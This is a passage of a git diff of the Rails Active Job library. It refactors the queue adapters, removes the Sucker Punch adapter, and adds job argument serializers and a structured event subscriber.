     #
     # A high-performance RabbitMQ background processing framework for Ruby.
     # Sneakers is being used in production for both I/O and CPU intensive
@@ -15,23 +17,23 @@ module QueueAdapters
     # To use Sneakers set the queue_adapter config to +:sneakers+.
     #
     #   Rails.application.config.active_job.queue_adapter = :sneakers
-    class SneakersAdapter
+    class SneakersAdapter < AbstractAdapter
       def initialize
         @monitor = Monitor.new
       end
 
-      def enqueue(job) #:nodoc:
+      def enqueue(job) # :nodoc:
         @monitor.synchronize do
           JobWrapper.from_queue job.queue_name
           JobWrapper.enqueue ActiveSupport::JSON.encode(job.serialize)
         end
       end
 
-      def enqueue_at(job, timestamp) #:nodoc:
+      def enqueue_at(job, timestamp) # :nodoc:
         raise NotImplementedError, "This queueing backend does not support scheduling jobs. To see what features are supported go to http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html"
       end
 
-      class JobWrapper #:nodoc:
+      class JobWrapper # :nodoc:
         include Sneakers::Worker
         from_queue "default"
 
diff --git a/activejob/lib/active_job/queue_adapters/sucker_punch_adapter.rb b/activejob/lib/active_job/queue_adapters/sucker_punch_adapter.rb
deleted file mode 100644
index dd59a798134cd..0000000000000
--- a/activejob/lib/active_job/queue_adapters/sucker_punch_adapter.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-require "sucker_punch"
-
-module ActiveJob
-  module QueueAdapters
-    # == Sucker Punch adapter for Active Job
-    #
-    # Sucker Punch is a single-process Ruby asynchronous processing library.
-    # This reduces the cost of hosting on a service like Heroku along
-    # with the memory footprint of having to maintain additional jobs if
-    # hosting on a dedicated server. All queues can run within a
-    # single application (eg. Rails, Sinatra, etc.) process.
-    #
-    # Read more about Sucker Punch {here}[https://github.com/brandonhilkert/sucker_punch].
-    #
-    # To use Sucker Punch set the queue_adapter config to +:sucker_punch+.
-    #
-    #   Rails.application.config.active_job.queue_adapter = :sucker_punch
-    class SuckerPunchAdapter
-      def enqueue(job) #:nodoc:
-        if JobWrapper.respond_to?(:perform_async)
-          # sucker_punch 2.0 API
-          JobWrapper.perform_async job.serialize
-        else
-          # sucker_punch 1.0 API
-          JobWrapper.new.async.perform job.serialize
-        end
-      end
-
-      def enqueue_at(job, timestamp) #:nodoc:
-        if JobWrapper.respond_to?(:perform_in)
-          delay = timestamp - Time.current.to_f
-          JobWrapper.perform_in delay, job.serialize
-        else
-          raise NotImplementedError, "sucker_punch 1.0 does not support `enqueued_at`. Please upgrade to version ~> 2.0.0 to enable this behavior."
-        end
-      end
-
-      class JobWrapper #:nodoc:
-        include SuckerPunch::Job
-
-        def perform(job_data)
-          Base.execute job_data
-        end
-      end
-    end
-  end
-end
diff --git a/activejob/lib/active_job/queue_adapters/test_adapter.rb b/activejob/lib/active_job/queue_adapters/test_adapter.rb
index ec825f12cdcf2..7869b2b1afce6 100644
--- a/activejob/lib/active_job/queue_adapters/test_adapter.rb
+++ b/activejob/lib/active_job/queue_adapters/test_adapter.rb
@@ -1,16 +1,18 @@
+# frozen_string_literal: true
+
 module ActiveJob
   module QueueAdapters
-    # == Test adapter for Active Job
+    # = Test adapter for Active Job
     #
     # The test adapter should be used only in testing. Along with
-    # <tt>ActiveJob::TestCase</tt> and <tt>ActiveJob::TestHelper</tt>
-    # it makes a great tool to test your Rails application.
+    # ActiveJob::TestCase and ActiveJob::TestHelper
+    # it makes a great tool to test your \Rails application.
     #
-    # To use the test adapter set queue_adapter config to +:test+.
+    # To use the test adapter set +queue_adapter+ config to +:test+.
     #
     #   Rails.application.config.active_job.queue_adapter = :test
-    class TestAdapter
-      attr_accessor(:perform_enqueued_jobs, :perform_enqueued_at_jobs, :filter)
+    class TestAdapter < AbstractAdapter
+      attr_accessor(:perform_enqueued_jobs, :perform_enqueued_at_jobs, :filter, :reject, :queue, :at, :stopping)
       attr_writer(:enqueued_jobs, :performed_jobs)
 
       # Provides a store of all the enqueued jobs with the TestAdapter so you can check them.
@@ -23,33 +25,65 @@ def performed_jobs
         @performed_jobs ||= []
       end
 
-      def enqueue(job) #:nodoc:
+      def enqueue(job) # :nodoc:
         job_data = job_to_hash(job)
-        enqueue_or_perform(perform_enqueued_jobs, job, job_data)
+        perform_or_enqueue(perform_enqueued_jobs && !filtered?(job), job, job_data)
       end
 
-      def enqueue_at(job, timestamp) #:nodoc:
+      def enqueue_at(job, timestamp) # :nodoc:
         job_data = job_to_hash(job, at: timestamp)
-        enqueue_or_perform(perform_enqueued_at_jobs, job, job_data)
+        perform_or_enqueue(perform_enqueued_at_jobs && !filtered?(job), job, job_data)
       end
 
-      private
+      def stopping?
+        @stopping.is_a?(Proc) ? @stopping.call : @stopping
+      end
 
+      private
         def job_to_hash(job, extras = {})
-          { job: job.class, args: job.serialize.fetch("arguments"), queue: job.queue_name }.merge!(extras)
+          job.serialize.tap do |job_data|
+            job_data[:job] = job.class
+            job_data[:args] = job_data.fetch("arguments")
+            job_data[:queue] = job_data.fetch("queue_name")
+            job_data[:priority] = job_data.fetch("priority")
+          end.merge(extras)
         end
 
-        def enqueue_or_perform(perform, job, job_data)
-          if !perform || filtered?(job)
-            enqueued_jobs << job_data
-          else
+        def perform_or_enqueue(perform, job, job_data)
+          if perform
             performed_jobs << job_data
-            Base.execute job.serialize
+            Base.execute(job.serialize)
+          else
+            enqueued_jobs << job_data
           end
         end
 
         def filtered?(job)
-          filter && !Array(filter).include?(job.class)
+          filtered_queue?(job) || filtered_job_class?(job) || filtered_time?(job)
+        end
+
+        def filtered_time?(job)
+          job.scheduled_at > at if at && job.scheduled_at
+        end
+
+        def filtered_queue?(job)
+          if queue
+            job.queue_name != queue.to_s
+          end
+        end
+
+        def filtered_job_class?(job)
+          if filter
+            !filter_as_proc(filter).call(job)
+          elsif reject
+            filter_as_proc(reject).call(job)
+          end
+        end
+
+        def filter_as_proc(filter)
+          return filter if filter.is_a?(Proc)
+
+          ->(job) { Array(filter).include?(job.class) }
         end
     end
   end
diff --git a/activejob/lib/active_job/queue_name.rb b/activejob/lib/active_job/queue_name.rb
index 352cf62424fc2..e6225ce0d7945 100644
--- a/activejob/lib/active_job/queue_name.rb
+++ b/activejob/lib/active_job/queue_name.rb
@@ -1,11 +1,12 @@
+# frozen_string_literal: true
+
 module ActiveJob
   module QueueName
     extend ActiveSupport::Concern
 
     # Includes the ability to override the default queue name and prefix.
     module ClassMethods
-      mattr_accessor(:queue_name_prefix)
-      mattr_accessor(:default_queue_name) { "default" }
+      mattr_accessor :default_queue_name, default: "default"
 
       # Specifies the name of the queue to process the job on.
       #
@@ -16,6 +17,25 @@ module ClassMethods
       #       post.to_feed!
       #     end
       #   end
+      #
+      # Can be given a block that will evaluate in the context of the job
+      # so that a dynamic queue name can be applied:
+      #
+      #   class PublishToFeedJob < ApplicationJob
+      #     queue_as do
+      #       post = self.arguments.first
+      #
+      #       if post.paid?
+      #         :paid_feeds
+      #       else
+      #         :feeds
+      #       end
+      #     end
+      #
+      #     def perform(post)
+      #       post.to_feed!
+      #     end
+      #   end
       def queue_as(part_name = nil, &block)
         if block_given?
           self.queue_name = block
@@ -24,19 +44,17 @@ def queue_as(part_name = nil, &block)
         end
       end
 
-      def queue_name_from_part(part_name) #:nodoc:
+      def queue_name_from_part(part_name) # :nodoc:
         queue_name = part_name || default_queue_name
         name_parts = [queue_name_prefix.presence, queue_name]
-        name_parts.compact.join(queue_name_delimiter)
+        -name_parts.compact.join(queue_name_delimiter)
       end
     end
 
     included do
-      class_attribute :queue_name, instance_accessor: false
-      class_attribute :queue_name_delimiter, instance_accessor: false
-
-      self.queue_name = default_queue_name
-      self.queue_name_delimiter = "_" # set default delimiter to '_'
+      class_attribute :queue_name, instance_accessor: false, default: -> { self.class.default_queue_name }
+      class_attribute :queue_name_delimiter, instance_accessor: false, default: "_"
+      class_attribute :queue_name_prefix
     end
 
     # Returns the name of the queue the job will be run on.
diff --git a/activejob/lib/active_job/queue_priority.rb b/activejob/lib/active_job/queue_priority.rb
index b02202fcc845a..2cab9798de634 100644
--- a/activejob/lib/active_job/queue_priority.rb
+++ b/activejob/lib/active_job/queue_priority.rb
@@ -1,10 +1,12 @@
+# frozen_string_literal: true
+
 module ActiveJob
   module QueuePriority
     extend ActiveSupport::Concern
 
     # Includes the ability to override the default queue priority.
     module ClassMethods
-      mattr_accessor(:default_priority)
+      mattr_accessor :default_priority
 
       # Specifies the priority of the queue to create the job with.
       #
@@ -16,7 +18,24 @@ module ClassMethods
       #     end
       #   end
       #
-      # Specify either an argument or a block.
+      # Can be given a block that will evaluate in the context of the job
+      # so that a dynamic priority can be applied:
+      #
+      #   class PublishToFeedJob < ApplicationJob
+      #     queue_with_priority do
+      #       post = self.arguments.first
+      #
+      #       if post.paid?
+      #         10
+      #       else
+      #         50
+      #       end
+      #     end
+      #
+      #     def perform(post)
+      #       post.to_feed!
+      #     end
+      #   end
       def queue_with_priority(priority = nil, &block)
         if block_given?
           self.priority = block
@@ -27,9 +46,7 @@ def queue_with_priority(priority = nil, &block)
     end
 
     included do
-      class_attribute :priority, instance_accessor: false
-
-      self.priority = default_priority
+      class_attribute :priority, instance_accessor: false, default: default_priority
     end
 
     # Returns the priority that the job will be created with
diff --git a/activejob/lib/active_job/railtie.rb b/activejob/lib/active_job/railtie.rb
index 4a8bf04d70ba3..090ecb687c469 100644
--- a/activejob/lib/active_job/railtie.rb
+++ b/activejob/lib/active_job/railtie.rb
@@ -1,3 +1,6 @@
+# frozen_string_literal: true
+
+require "rails"
 require "global_id/railtie"
 require "active_job"
 
@@ -5,17 +8,74 @@ module ActiveJob
   # = Active Job Railtie
   class Railtie < Rails::Railtie # :nodoc:
     config.active_job = ActiveSupport::OrderedOptions.new
+    config.active_job.custom_serializers = []
+    config.active_job.log_query_tags_around_perform = true
+
+    initializer "active_job.deprecator", before: :load_environment_config do |app|
+      app.deprecators[:active_job] = ActiveJob.deprecator
+    end
 
     initializer "active_job.logger" do
       ActiveSupport.on_load(:active_job) { self.logger = ::Rails.logger }
     end
 
+    initializer "active_job.custom_serializers" do |app|
+      ActiveSupport.on_load(:active_job_arguments) do
+        custom_serializers = app.config.active_job.custom_serializers
+        ActiveJob::Serializers.add_serializers custom_serializers
+      end
+    end
+
+    initializer "active_job.enqueue_after_transaction_commit" do |app|
+      ActiveSupport.on_load(:active_job) do
+        ActiveSupport.on_load(:active_record) do
+          ActiveJob::Base.include EnqueueAfterTransactionCommit
+        end
+      end
+    end
+
+    initializer "active_job.action_controller_parameters" do |app|
+      ActiveSupport.on_load(:active_job) do
+        ActiveSupport.on_load(:action_controller) do
+          ActiveJob::Serializers.add_serializers ActiveJob::Serializers::ActionControllerParametersSerializer
+        end
+      end
+    end
+
     initializer "active_job.set_configs" do |app|
       options = app.config.active_job
-      options.queue_adapter ||= :async
+      options.queue_adapter ||= (Rails.env.test? ? :test : :async)
+
+      config.after_initialize do
+        options.each do |k, v|
+          k = "#{k}="
+          if ActiveJob.respond_to?(k)
+            ActiveJob.send(k, v)
+          end
+        end
+      end
 
       ActiveSupport.on_load(:active_job) do
-        options.each { |k, v| send("#{k}=", v) }
+        # Configs used in other initializers
+        options = options.except(
+          :log_query_tags_around_perform,
+          :custom_serializers,
+          # This config can't be applied globally, so we need to remove otherwise it will be applied to `ActiveJob::Base`.
+          :enqueue_after_transaction_commit
+        )
+
+        options.each do |k, v|
+          k = "#{k}="
+          if ActiveJob.respond_to?(k)
+            ActiveJob.send(k, v)
+          elsif respond_to? k
+            send(k, v)
+          end
+        end
+      end
+
+      ActiveSupport.on_load(:action_dispatch_integration_test) do
+        include ActiveJob::TestHelper
       end
     end
 
@@ -28,5 +88,27 @@ class Railtie < Rails::Railtie # :nodoc:
         end
       end
     end
+
+    initializer "active_job.query_log_tags" do |app|
+      query_logs_tags_enabled = app.config.respond_to?(:active_record) &&
+        app.config.active_record.query_log_tags_enabled &&
+        app.config.active_job.log_query_tags_around_perform
+
+      if query_logs_tags_enabled
+        app.config.active_record.query_log_tags |= [:job]
+
+        ActiveSupport.on_load(:active_record) do
+          ActiveRecord::QueryLogs.taggings = ActiveRecord::QueryLogs.taggings.merge(
+            job: ->(context) { context[:job].class.name if context[:job] }
+          )
+        end
+      end
+    end
+
+    initializer "active_job.backtrace_cleaner" do
+      ActiveSupport.on_load(:active_job) do
+        LogSubscriber.backtrace_cleaner = ::Rails.backtrace_cleaner
+      end
+    end
   end
 end
diff --git a/activejob/lib/active_job/serializers.rb b/activejob/lib/active_job/serializers.rb
new file mode 100644
index 0000000000000..828ea6b6fc665
--- /dev/null
+++ b/activejob/lib/active_job/serializers.rb
@@ -0,0 +1,116 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  # = Active Job \Serializers
+  #
+  # The +ActiveJob::Serializers+ module is used to store a list of known serializers
+  # and to add new ones. It also has helpers to serialize/deserialize objects.
+  module Serializers # :nodoc:
+    extend ActiveSupport::Autoload
+
+    autoload :ObjectSerializer
+    autoload :TimeObjectSerializer
+    autoload :SymbolSerializer
+    autoload :DurationSerializer
+    autoload :DateTimeSerializer
+    autoload :DateSerializer
+    autoload :TimeWithZoneSerializer
+    autoload :TimeSerializer
+    autoload :ModuleSerializer
+    autoload :RangeSerializer
+    autoload :BigDecimalSerializer
+    autoload :ActionControllerParametersSerializer
+
+    @serializers = Set.new
+    @serializers_index = {}
+
+    class << self
+      # Returns serialized representative of the passed object.
+      # Will look up through all known serializers.
+      # Raises ActiveJob::SerializationError if it can't find a proper serializer.
+      def serialize(argument)
+        serializer = @serializers_index[argument.class] || serializers.find { |s| s.serialize?(argument) }
+        raise SerializationError.new("Unsupported argument type: #{argument.class.name}") unless serializer
+        serializer.serialize(argument)
+      end
+
+      # Returns deserialized object.
+      # Will look up through all known serializers.
+      # If no serializer found will raise <tt>ArgumentError</tt>.
+      def deserialize(argument)
+        serializer_name = argument[OBJECT_SERIALIZER_KEY]
+        raise ArgumentError, "Serializer name is not present in the argument: #{argument.inspect}" unless serializer_name
+
+        serializer = serializer_name.safe_constantize
+        raise ArgumentError, "Serializer #{serializer_name} is not known" unless serializer
+
+        serializer.deserialize(argument)
+      end
+
+      # Returns list of known serializers.
+      attr_reader :serializers
+
+      def serializers=(serializers)
+        @serializers_index.clear
+        @serializers = Set.new
+        add_new_serializers(serializers)
+      end
+
+      # Adds new serializers to a list of known serializers.
+      def add_serializers(*new_serializers)
+        new_serializers = new_serializers.flatten
+        add_new_serializers(new_serializers)
+      end
+
+      private
+        def add_new_serializers(new_serializers)
+          new_serializers.map! do |s|
+            if s.is_a?(Class) && s < ObjectSerializer
+              s.instance
+            else
+              s
+            end
+          end
+
+          @serializers += new_serializers
+          index_serializers(new_serializers)
+          @serializers
+        end
+
+        def index_serializers(new_serializers)
+          new_serializers.each do |s|
+            if s.respond_to?(:klass)
+              @serializers_index[s.klass] = s
+            elsif s.respond_to?(:klass, true)
+              klass = s.send(:klass)
+              ActiveJob.deprecator.warn(<<~MSG.squish)
+                #{s.class.name}#klass method should be public.
+                This will raise an error in Rails 8.2.
+              MSG
+              @serializers_index[klass] = s
+            else
+              ActiveJob.deprecator.warn(
+                <<~MSG.squish
+                  #{s.class.name} should implement a public #klass method.
+                  This will raise an error in Rails 8.2.
+                MSG
+              )
+            end
+          end
+        end
+    end
+
+    # :nodoc:
+    OBJECT_SERIALIZER_KEY = "_aj_serialized"
+
+    add_serializers SymbolSerializer.instance,
+      DurationSerializer.instance,
+      DateTimeSerializer.instance,
+      DateSerializer.instance,
+      TimeWithZoneSerializer.instance,
+      TimeSerializer.instance,
+      ModuleSerializer.instance,
+      RangeSerializer.instance,
+      BigDecimalSerializer.instance
+  end
+end
diff --git a/activejob/lib/active_job/serializers/action_controller_parameters_serializer.rb b/activejob/lib/active_job/serializers/action_controller_parameters_serializer.rb
new file mode 100644
index 0000000000000..af666a570deec
--- /dev/null
+++ b/activejob/lib/active_job/serializers/action_controller_parameters_serializer.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  module Serializers
+    class ActionControllerParametersSerializer < ObjectSerializer
+      def serialize(argument)
+        Arguments.serialize_argument(argument.to_h.with_indifferent_access)
+      end
+
+      def deserialize(hash)
+        raise NotImplementedError # Serialized as a HashWithIndifferentAccess
+      end
+
+      def serialize?(argument)
+        argument.respond_to?(:permitted?) && argument.respond_to?(:to_h)
+      end
+
+      def klass
+        if defined?(ActionController::Parameters)
+          ActionController::Parameters
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/serializers/big_decimal_serializer.rb b/activejob/lib/active_job/serializers/big_decimal_serializer.rb
new file mode 100644
index 0000000000000..8b74399f8a8e7
--- /dev/null
+++ b/activejob/lib/active_job/serializers/big_decimal_serializer.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require "bigdecimal"
+
+module ActiveJob
+  module Serializers
+    class BigDecimalSerializer < ObjectSerializer # :nodoc:
+      def serialize(big_decimal)
+        super("value" => big_decimal.to_s)
+      end
+
+      def deserialize(hash)
+        BigDecimal(hash["value"])
+      end
+
+      def klass
+        BigDecimal
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/serializers/date_serializer.rb b/activejob/lib/active_job/serializers/date_serializer.rb
new file mode 100644
index 0000000000000..79ab02b812c7a
--- /dev/null
+++ b/activejob/lib/active_job/serializers/date_serializer.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  module Serializers
+    class DateSerializer < ObjectSerializer # :nodoc:
+      def serialize(date)
+        super("value" => date.iso8601)
+      end
+
+      def deserialize(hash)
+        Date.iso8601(hash["value"])
+      end
+
+      def klass
+        Date
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/serializers/date_time_serializer.rb b/activejob/lib/active_job/serializers/date_time_serializer.rb
new file mode 100644
index 0000000000000..a620b9a6462d3
--- /dev/null
+++ b/activejob/lib/active_job/serializers/date_time_serializer.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  module Serializers
+    class DateTimeSerializer < TimeObjectSerializer # :nodoc:
+      def deserialize(hash)
+        DateTime.iso8601(hash["value"])
+      end
+
+      def klass
+        DateTime
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/serializers/duration_serializer.rb b/activejob/lib/active_job/serializers/duration_serializer.rb
new file mode 100644
index 0000000000000..db7b18c277e2f
--- /dev/null
+++ b/activejob/lib/active_job/serializers/duration_serializer.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  module Serializers
+    class DurationSerializer < ObjectSerializer # :nodoc:
+      def serialize(duration)
+        # Ideally duration.parts would be wrapped in an array before passing to Arguments.serialize,
+        # but we continue passing the bare hash for backwards compatibility:
+        super("value" => duration.value, "parts" => Arguments.serialize(duration.parts.to_a))
+      end
+
+      def deserialize(hash)
+        value = hash["value"]
+        parts = Arguments.deserialize(hash["parts"].to_h)
+        # `parts` is originally a hash, but will have been flattened to an array by Arguments.serialize
+        klass.new(value, parts.to_h)
+      end
+
+      def klass
+        ActiveSupport::Duration
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/serializers/module_serializer.rb b/activejob/lib/active_job/serializers/module_serializer.rb
new file mode 100644
index 0000000000000..834c3efbc6143
--- /dev/null
+++ b/activejob/lib/active_job/serializers/module_serializer.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  module Serializers
+    class ModuleSerializer < ObjectSerializer # :nodoc:
+      def serialize(constant)
+        raise SerializationError, "Serializing an anonymous class is not supported" unless constant.name
+        super("value" => constant.name)
+      end
+
+      def deserialize(hash)
+        hash["value"].constantize
+      end
+
+      def klass
+        Module
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/serializers/object_serializer.rb b/activejob/lib/active_job/serializers/object_serializer.rb
new file mode 100644
index 0000000000000..a0442f7906026
--- /dev/null
+++ b/activejob/lib/active_job/serializers/object_serializer.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require "singleton"
+
+module ActiveJob
+  module Serializers
+    # Base class for serializing and deserializing custom objects.
+    #
+    # Example:
+    #
+    #   class MoneySerializer < ActiveJob::Serializers::ObjectSerializer
+    #     def serialize(money)
+    #       super("amount" => money.amount, "currency" => money.currency)
+    #     end
+    #
+    #     def deserialize(hash)
+    #       Money.new(hash["amount"], hash["currency"])
+    #     end
+    #
+    #     def klass
+    #       Money
+    #     end
+    #   end
+    class ObjectSerializer
+      include Singleton
+
+      class << self
+        delegate :serialize?, :serialize, :deserialize, to: :instance
+      end
+
+      def initialize
+        super
+        @template = { Serializers::OBJECT_SERIALIZER_KEY => self.class.name }.freeze
+      end
+
+      # Determines if an argument should be serialized by a serializer.
+      def serialize?(argument)
+        argument.is_a?(klass)
+      end
+
+      # Serializes an argument to a JSON primitive type.
+      def serialize(hash)
+        @template.merge(hash)
+      end
+
+      # Deserializes an argument from a JSON primitive type.
+      def deserialize(hash)
+        raise NotImplementedError, "#{self.class.name} should implement a public #deserialize(hash) method"
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/serializers/range_serializer.rb b/activejob/lib/active_job/serializers/range_serializer.rb
new file mode 100644
index 0000000000000..e947e1b4436f8
--- /dev/null
+++ b/activejob/lib/active_job/serializers/range_serializer.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  module Serializers
+    class RangeSerializer < ObjectSerializer
+      def serialize(range)
+        super(
+          "begin" => Arguments.serialize_argument(range.begin),
+          "end" => Arguments.serialize_argument(range.end),
+          "exclude_end" => range.exclude_end?, # Always boolean, no need to serialize
+        )
+      end
+
+      def deserialize(hash)
+        Range.new(*Arguments.deserialize([hash["begin"], hash["end"]]), hash["exclude_end"])
+      end
+
+      def klass
+        ::Range
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/serializers/symbol_serializer.rb b/activejob/lib/active_job/serializers/symbol_serializer.rb
new file mode 100644
index 0000000000000..9e4bea27780f1
--- /dev/null
+++ b/activejob/lib/active_job/serializers/symbol_serializer.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  module Serializers
+    class SymbolSerializer < ObjectSerializer # :nodoc:
+      def serialize(argument)
+        super("value" => argument.name)
+      end
+
+      def deserialize(argument)
+        argument["value"].to_sym
+      end
+
+      def klass
+        Symbol
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/serializers/time_object_serializer.rb b/activejob/lib/active_job/serializers/time_object_serializer.rb
new file mode 100644
index 0000000000000..a6f6b6e451ab0
--- /dev/null
+++ b/activejob/lib/active_job/serializers/time_object_serializer.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  module Serializers
+    class TimeObjectSerializer < ObjectSerializer # :nodoc:
+      NANO_PRECISION = 9
+
+      def serialize(time)
+        super("value" => time.iso8601(NANO_PRECISION))
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/serializers/time_serializer.rb b/activejob/lib/active_job/serializers/time_serializer.rb
new file mode 100644
index 0000000000000..ef951595145b3
--- /dev/null
+++ b/activejob/lib/active_job/serializers/time_serializer.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  module Serializers
+    class TimeSerializer < TimeObjectSerializer # :nodoc:
+      def deserialize(hash)
+        Time.iso8601(hash["value"])
+      end
+
+      def klass
+        Time
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/serializers/time_with_zone_serializer.rb b/activejob/lib/active_job/serializers/time_with_zone_serializer.rb
new file mode 100644
index 0000000000000..6e5e409112461
--- /dev/null
+++ b/activejob/lib/active_job/serializers/time_with_zone_serializer.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  module Serializers
+    class TimeWithZoneSerializer < ObjectSerializer # :nodoc:
+      NANO_PRECISION = 9
+
+      def serialize(time_with_zone)
+        super(
+          "value" => time_with_zone.iso8601(NANO_PRECISION),
+          "time_zone" => time_with_zone.time_zone.tzinfo.name
+        )
+      end
+
+      def deserialize(hash)
+        Time.iso8601(hash["value"]).in_time_zone(hash["time_zone"] || Time.zone)
+      end
+
+      def klass
+        ActiveSupport::TimeWithZone
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/structured_event_subscriber.rb b/activejob/lib/active_job/structured_event_subscriber.rb
new file mode 100644
index 0000000000000..d2f6ac10b7a8f
--- /dev/null
+++ b/activejob/lib/active_job/structured_event_subscriber.rb
@@ -0,0 +1,220 @@
+# frozen_string_literal: true
+
+require "active_support/structured_event_subscriber"
+
+module ActiveJob
+  class StructuredEventSubscriber < ActiveSupport::StructuredEventSubscriber # :nodoc:
+    def enqueue(event)
+      job = event.payload[:job]
+      adapter = event.payload[:adapter]
+      exception = event.payload[:exception_object] || job.enqueue_error
+      payload = {
+        job_class: job.class.name,
+        job_id: job.job_id,
+        queue: job.queue_name,
+        adapter: ActiveJob.adapter_name(adapter),
+        aborted: event.payload[:aborted],
+      }
+
+      if exception
+        payload[:exception_class] = exception.class.name
+        payload[:exception_message] = exception.message
+      end
+
+      if job.class.log_arguments?
+        payload[:arguments] = job.arguments
+      end
+
+      emit_event("active_job.enqueued", payload)
+    end
+
+    def enqueue_at(event)
+      job = event.payload[:job]
+      adapter = event.payload[:adapter]
+      exception = event.payload[:exception_object] || job.enqueue_error
+      payload = {
+        job_class: job.class.name,
+        job_id: job.job_id,
+        queue: job.queue_name,
+        scheduled_at: job.scheduled_at,
+        adapter: ActiveJob.adapter_name(adapter),
+        aborted: event.payload[:aborted],
+      }
+
+      if exception
+        payload[:exception_class] = exception.class.name
+        payload[:exception_message] = exception.message
+      end
+
+      if job.class.log_arguments?
+        payload[:arguments] = job.arguments
+      end
+
+      emit_event("active_job.enqueued_at", payload)
+    end
+
+    def enqueue_all(event)
+      jobs = event.payload[:jobs]
+      adapter = event.payload[:adapter]
+      enqueued_count = event.payload[:enqueued_count].to_i
+      failed_count = jobs.size - enqueued_count
+
+      emit_event("active_job.bulk_enqueued",
+        adapter: ActiveJob.adapter_name(adapter),
+        job_count: jobs.size,
+        enqueued_count: enqueued_count,
+        failed_enqueue_count: failed_count,
+        enqueued_classes: jobs.filter_map do |job|
+          job.class.name if jobs.count == enqueued_count || job.successfully_enqueued?
+        end.tally
+      )
+    end
+
+    def perform_start(event)
+      job = event.payload[:job]
+      payload = {
+        job_class: job.class.name,
+        job_id: job.job_id,
+        queue: job.queue_name,
+        enqueued_at: job.enqueued_at&.utc&.iso8601(9),
+      }
+      if job.class.log_arguments?
+        payload[:arguments] = job.arguments
+      end
+      emit_event("active_job.started", payload)
+    end
+
+    def perform(event)
+      job = event.payload[:job]
+      exception = event.payload[:exception_object]
+      adapter = event.payload[:adapter]
+      payload = {
+        job_class: job.class.name,
+        job_id: job.job_id,
+        queue: job.queue_name,
+        adapter: ActiveJob.adapter_name(adapter),
+        aborted: event.payload[:aborted],
+        duration: event.duration.round(2),
+      }
+
+      if exception
+        payload[:exception_class] = exception.class.name
+        payload[:exception_message] = exception.message
+        payload[:exception_backtrace] = exception.backtrace
+      end
+
+      emit_event("active_job.completed", payload)
+    end
+
+    def enqueue_retry(event)
+      job = event.payload[:job]
+      exception = event.payload[:error]
+      wait = event.payload[:wait]
+
+      emit_event("active_job.retry_scheduled",
+        job_class: job.class.name,
+        job_id: job.job_id,
+        executions: job.executions,
+        wait_seconds: wait.to_i,
+        exception_class: exception&.class&.name,
+        exception_message: exception&.message
+      )
+    end
+
+    def retry_stopped(event)
+      job = event.payload[:job]
+      exception = event.payload[:error]
+
+      emit_event("active_job.retry_stopped",
+        job_class: job.class.name,
+        job_id: job.job_id,
+        executions: job.executions,
+        exception_class: exception.class.name,
+        exception_message: exception.message
+      )
+    end
+
+    def discard(event)
+      job = event.payload[:job]
+      exception = event.payload[:error]
+
+      emit_event("active_job.discarded",
+        job_class: job.class.name,
+        job_id: job.job_id,
+        exception_class: exception.class.name,
+        exception_message: exception.message
+      )
+    end
+
+    def interrupt(event)
+      job = event.payload[:job]
+      description = event.payload[:description]
+      reason = event.payload[:reason]
+
+      emit_event("active_job.interrupt",
+        job_class: job.class.name,
+        job_id: job.job_id,
+        description: description,
+        reason: reason,
+      )
+    end
+
+    def resume(event)
+      job = event.payload[:job]
+      description = event.payload[:description]
+
+      emit_event("active_job.resume",
+        job_class: job.class.name,
+        job_id: job.job_id,
+        description: description,
+      )
+    end
+
+    def step_skipped(event)
+      job = event.payload[:job]
+      step = event.payload[:step]
+
+      emit_event("active_job.step_skipped",
+        job_class: job.class.name,
+        job_id: job.job_id,
+        step: step.name,
+      )
+    end
+
+    def step_started(event)
+      job = event.payload[:job]
+      step = event.payload[:step]
+
+      emit_event("active_job.step_started",
+        job_class: job.class.name,
+        job_id: job.job_id,
+        step: step.name,
+        cursor: step.cursor,
+        resumed: step.resumed?,
+      )
+    end
+
+    def step(event)
+      job = event.payload[:job]
+      step = event.payload[:step]
+      exception = event.payload[:exception_object]
+      payload = {
+        job_class: job.class.name,
+        job_id: job.job_id,
+        step: step.name,
+        cursor: step.cursor,
+        interrupted: event.payload[:interrupted],
+        duration: event.duration.round(2),
+      }
+
+      if exception
+        payload[:exception_class] = exception.class.name
+        payload[:exception_message] = exception.message
+      end
+
+      emit_event("active_job.step", payload)
+    end
+  end
+end
+
+ActiveJob::StructuredEventSubscriber.attach_to :active_job
diff --git a/activejob/lib/active_job/test_case.rb b/activejob/lib/active_job/test_case.rb
index a5ec45e4a7b95..49cd51bdd0599 100644
--- a/activejob/lib/active_job/test_case.rb
+++ b/activejob/lib/active_job/test_case.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/test_case"
 
 module ActiveJob
diff --git a/activejob/lib/active_job/test_helper.rb b/activejob/lib/active_job/test_helper.rb
